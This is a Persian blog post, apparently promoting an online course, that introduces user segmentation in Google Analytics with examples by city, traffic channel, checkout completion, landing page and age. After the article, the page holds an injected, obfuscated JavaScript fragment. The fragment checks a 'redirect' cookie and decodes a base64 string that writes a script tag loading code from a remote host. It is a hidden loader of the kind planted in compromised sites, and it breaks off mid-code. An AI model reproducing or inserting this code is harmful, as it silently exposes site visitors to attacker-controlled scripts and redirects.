بدون دیدگاه
2019/10/21
477 بازدید

آشنایی مقدماتی با گروه بندی کاربران در گوگل آنالیتیکس

ویدئویی که در حال مشاهده آن هستید بخشی از دوره ی آموزش گوگل آنالیتیکس در آکادمی مهارت آموزی آنلاین ویکی دمی است. برای ثبت نام از لینک مقابل استفاده کنید. رایگان ثبت نام کنید

در مقاله امروز تصمیم داریم یکی دیگر از بخش های دوره آموزش گوگل آنالیتیکس با عنوان Segmentation یا گروه بندی کاربران را برای شما عزیزان معرفی کنیم.

گروه بندی، زیر مجموعه ای از داده های شما است. به عنوان مثال بخشی از کاربران سایت شما ممکن است از شهر شیراز، باشند و بخشی دیگر نیز از مشهد. یا شاید بعضی از کاربران، صفحه ای از سایت شما را بازدید کرده باشند و بعضی دیگر آن صفحه را ندیده باشند. اگر توجه کنید هر یک از  این گروه ها ویژگی های مشخصی با یکدیگر دارند. مثلا بعضی از شهر شیراز هستند و بعضی از شهر مشهد.

حقیقتا اولین گام برای داشتن یک تجزیه و تحلیل درست در گوگل آنالیتیکس، تقسیم بندی صحیح کاربران است. وقتی بتوانیم کاربرانمان را بر اساس ویژگی های مشترک تقسیم بندی کنیم آنوقت میتوانیم خیلی بهتر آنها را درک کنیم و به مشکلاتشان پی ببریم و وقتی مشکلاتشان را بفهمیم، آنوقت باید به آنها پاسخ بدهیم و این یعنی بهینه کردن کسب و کار آنلاین ما.

وقتی صحبت از بخش بندی کردن کاربران می شود اولین کاری که انجام می دهیم تقسیم بندی جغرافیایی کاربران است. آنالیتیکس این اجازه را به ما می دهد تا اطلاعات مخاطبین سایتمان را از سر تا سر جهان مشاهده کنیم.حتی می توانیم ببینیم از کدام کشور، کدام استان و یا کدام شهر هستند.

نوع دیگر بخش بندی کاربران، تقسیم کاربران بر اساس کانال های ترافیکی است. به عنوان مثال می توانیم با تقسیم بندی کاربران، بر اساس این معیار به این سؤال پاسخ دهیم که کدام یک از کاربران، از چه کانال ترافیکی، دارای بهترین Conversion هستند. آیا کاربرانی که از گوگل آمده اند دارای بهترین نرخ تبدیل هستند یا کاربرانی که از شبکه های اجتماعی آمده اند؟

  آشنایی با انواع نمودار و گزارش در گوگل آنالیتیکس

نوع دیگر بخش بندی کاربران، تقسیم کاربران بر اساس نوع تعامل آنها با سایت شما است. مثلا تقسیم کاربران سایت به کاربرانی که پرداخت و خرید خود را بطور کامل انجام داده اند و کسانی که فقط تا مرحله بازبینی سفارش آمده اند و به مرحله پرداخت نرسیده اند. و بر این اساس می توانیم بفهمیم به چه علت بعضی کاربران خرید خود را انجام داده و آن را تکمیل کرده اند و بعضی دیگر خرید خود را ناتمام باقی گذاشته اند.

انواع دیگر تقسیم بندی کاربران، بخش بندی آنان بر اساس Landing Page، مطابق با سن کاربران و یا تلفیقی از آنها است.

بطور کلی، “بخش بندی” کلیدی ترین بخش گزارش گیری هستند و در Segmentation باید به این سؤالات پاسخ بدهیم که:

  1. چطور داده ها را تقسیم بندی کنیم؟
  2. برای بخش بندی به چه Dimension هایی نیاز داریم؟
  3. و بعد از اینکه این کارها را کردیم دوباره به چه Segment های دیگری نیاز داریم؟
{var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

*
*

دوازده − یک =